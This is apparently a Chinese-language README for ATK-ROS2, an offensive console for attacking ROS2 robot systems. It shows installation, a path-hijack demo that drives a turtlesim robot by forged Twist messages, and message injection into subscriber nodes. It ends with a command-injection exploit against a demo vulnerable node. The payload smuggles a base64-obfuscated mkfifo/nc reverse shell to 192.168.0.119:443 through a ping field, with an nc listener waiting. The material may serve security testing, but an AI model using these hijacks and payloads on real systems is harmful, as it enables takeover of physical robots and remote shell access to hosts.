地址:https://github.com/MartinxMax/ATK-ROS2

環境需求：Ubuntu 22.04 (Jammy) 或以上版本

這是一個 ROS2 滲透測試環境，設計成接近生產環境的攻擊盒子。

# 升級 pip
$ pip install --upgrade pip

# 安裝 Python 依賴
$ pip install -r requirements.txt --config-settings --confirm-license= --verbose

# 設定安裝腳本可執行
$ chmod +x ./install/ros2-install.sh

# 使用 sudo 執行 ROS2 安裝腳本
$ sudo ./install/ros2-install.sh

$ python3 atk_builder.py

• 這是一個載荷構造模組，用於劫持指定的 ROS2 節點、修改路徑以及操作執行流程。

• 它會生成 .atk文件，可搭配 ATK-ROS2 使用。

$ python3 atk_ros2.py

執行 help查看指令：

Global commands:
 show                   - 顯示所有模組/板塊
 search <keyword>       - 搜索模組
 use <board_name>       - 選擇模組
 node                   - 列出 ROS2 節點/話題
 hijack                 - 劫持 geometry_msgs/msg/Twist 節點
 exit / back            - 返回上一級或退出
 quit                   - 立即退出控制台

command:show

• 顯示全部可用模組/板塊

ATK-ROS2$ show

Available Boards
================================================================================
#    Name                              Description
--------------------------------------------------------------------------------
0     action_msgs/msg/GoalInfo            ROS2 Message Board
1     action_msgs/msg/GoalStatus          ROS2 Message Board
<SNIP>...
194   visualization_msgs/msg/MeshFile     ROS2 Message Board
195   visualization_msgs/msg/UVCoordinate ROS2 Message Board

command:use

• 進入指定模組：

command:use:info

ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ info

• 顯示當前模組需要設定的參數：

command:use:set

ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ set u 999

• 設置模組參數值：

command:use:node

ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ node

• 列出與當前模組兼容的節點：

提示：在主頁執行 node可以列出全部 ROS2 節點。

command:use:run & exploit

ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ run

• 發射載荷：

command:use:back

ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ back

• 返回上一級菜單：

command:hijack

ATK-ROS2$ hijack

• 劫持 ROS2 設備，例如路徑控制：

1. 啟動 ATK-Builder 構造載荷

$ python3 atk_builder.py

• 中心作為起點，紅色圓圈作為參考半徑：

• 設置第一個點：

• 設置第二個點：

• 設置第三個點：

可根據需求設置無限個點，小烏龜會按順序移動。

• 保存 .atk文件：

/home/map/Desktop/atk-ros2/payload.atk

2. 在其他主機啟動 turtlesim 測試程式

$ ros2 run turtlesim turtlesim_node

3. 啟動 ROS2 pentest box

$ python3 atk_ros2.py

• 列出全部節點：

ATK-ROS2$ node

• 進入 hijack 模組並選擇選項 1：

ATK-ROS2$ hijack

• 輸入 .atk文件及控制目標節點：

? Select hijack mode: 1. Drawing coordinates hijack
? Enter path to .atk file /home/map/Desktop/atk-ros2/payload.atk
[+] Successfully loaded 6 points, sending Twist messages...
? Enter target node/topic (e.g., turtle1/cmd_vel) turtlesim/turtle1/cmd_vel

• 發送載荷：

• 小烏龜成功按照劫持路徑移動：

1. 使用 std_msgs/msg/String模組

ATK-ROS2$ use std_msgs/msg/String
ATK-ROS2[std_msgs/msg/String]$ node

2. 設置目標節點及載荷

ATK-ROS2[std_msgs/msg/String]$ set node string_subscriber/string_topic
ATK-ROS2[std_msgs/msg/String]$ set data Pw3d!
ATK-ROS2[std_msgs/msg/String]$ run

受害端：

• 也可以從檔案發送內容：

ATK-ROS2[std_msgs/msg/String]$ set data file:/home/map/Desktop/atk-ros2/demo/msg.txt
ATK-ROS2[std_msgs/msg/String]$ run

受害端顯示：

• Demo 中實作了一個存在安全漏洞的後門節點。

• 如果有興趣，也可以探索工業漏洞利用工具如 S-Clustr與 Tyran。

受害端：

• 上傳後門節點至受控主機：

$ cd ./demo/command_host_service
$ ./start.sh

攻擊者端：

ATK-ROS2$ node

$ sudo nc -lvnp 443

ATK-ROS2$ use std_msgs/msg/String
ATK-ROS2[std_msgs/msg/String]$ set node ping_service_subscriber/ping_ip
ATK-ROS2[std_msgs/msg/String]$ set data 127.0.0.1| echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjguMC4xMTkgNDQzID4vdG1wL2Y=|base64 -d |bash
ATK-ROS2[std_msgs/msg/String]$ exploit

• 成功擊中目標：